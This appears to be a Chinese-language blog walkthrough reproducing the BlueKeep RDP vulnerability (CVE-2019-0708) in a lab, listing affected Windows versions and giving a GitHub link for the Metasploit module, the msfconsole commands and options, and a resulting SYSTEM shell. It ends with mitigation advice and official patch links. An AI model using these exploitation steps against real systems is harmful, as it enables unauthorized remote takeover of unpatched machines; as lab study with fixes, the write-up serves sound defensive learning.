CVE-2019-0708(非蓝屏poc)远程桌面代码执行漏洞复现

玩了几天 刚回成都  玩电脑复现一下~

内核漏洞原理暂时 没看懂 别问 ，问就是不懂

0x01 复现环境和Exp准备

漏洞影响范围

• Windows 7
• Windows Server 2008 R2
• Windows Server 2008
• Windows 2003
• Windows XP

靶机环境准备

MSDN下载 

Windows7 SP1下载链接:ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

exp可以直接下载rdp.rb 可以直接更新msf

地址：https://github.com/qinggegeya/CVE-2019-0708-EXP-MSF-

攻击机环境准备

msf更新加载下脚本

如果kalimsf的版本太低 不能加载。

更新后加载

msf5 > search BlueKeep

Matching Modules
================

   #  Name                                            Disclosure Date  Rank    Check  Description
   -  ----                                            ---------------  ----    -----  -----------
   0  exploit/windows/rdp/cve_2019_0708_bluekeep_rce  2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
   1  auxiliary/scanner/rdp/cve_2019_0708_bluekeep    2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check

0x02 漏洞利用

靶机ip: 192.168.5.22

 

msf:

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options 

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   RDP_CLIENT_IP    192.168.0.100    yes       The client IPv4 address to report during connect
   RDP_CLIENT_NAME  ethdev           no        The client computer name to report during connect, UNSET = random
   RDP_DOMAIN                        no        The client domain name to report during connect
   RDP_USER                          no        The username to report during connect, UNSET = random
   RHOSTS           192.168.5.19     yes       The target address range or CIDR identifier
   RPORT            3389             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets 

Exploit targets:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting
   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)
   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)
   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)

RDP_CLIENT_IP为已经连接上要攻击的服务器的客户端ip地址

没啥好说的

target选错就蓝屏

meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

meterpreter > shell
Process 996 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:Windowssystem32>whoami
whoami
nt authoritysystem

C:Windowssystem32>

08 r2的要改个注册表才行 不实验了

0x03 修复及其他

CVE-2019-0708漏洞修复补丁以及安全建议

计算机右键属性-远程设置-仅允许运行使用网络基本身份验证的远程桌面的计算机连接（更安全）（N），在这行点勾，然后确认即可，可以临时的防止漏洞的攻击。

安全策略，禁止掉3389远程端口，只允许自己的IP通信即可。

补丁:

1.Windows Server 2008 漏洞补丁系列下载地址

Windows Server 2008 32位系统:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x86_832cf179b302b861c83f2a92acc5e2a152405377.msu

Windows Server 2008 x64位系统:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x64_9236b098f7cea864f7638e7d4b77aa8f81f70fd6.msu

Windows Server 2008 R2 Itanium系统:

http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-ia64_fabc8e54caa0d31a5abe8a0b347ab4a77aa98c36.msu

Windows Server 2008 R2 x64系统:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu

Windows Server 2008 Itanium:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499180-ia64_805e448d48ab8b1401377ab9845f39e1cae836d4.msu

2.Windows Server 2003 漏洞补丁系列下载地址

Windows Server 2003 32位系统:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x86-custom-chs_4892823f525d9d532ed3ae36fc440338d2b46a72.exe

Windows Server 2003 64位系统:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-chs_f2f949a9a764ff93ea13095a0aca1fc507320d3c.exe

3. Windows XP 漏洞补丁系列下载地址

Windows XP SP3 32位系统:

http://download.windowsupdate.com/c/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-custom-chs_718543e86e06b08b568826ac13c05f967392238c.exe

Windows XP SP2 64位系统:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-enu_e2fd240c402134839cfa22227b11a5ec80ddafcf.exe

Windows XP SP3 for XPe:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-embedded-custom-chs_96da48aaa9d9bcfe6cd820f239db2fe96500bfae.exe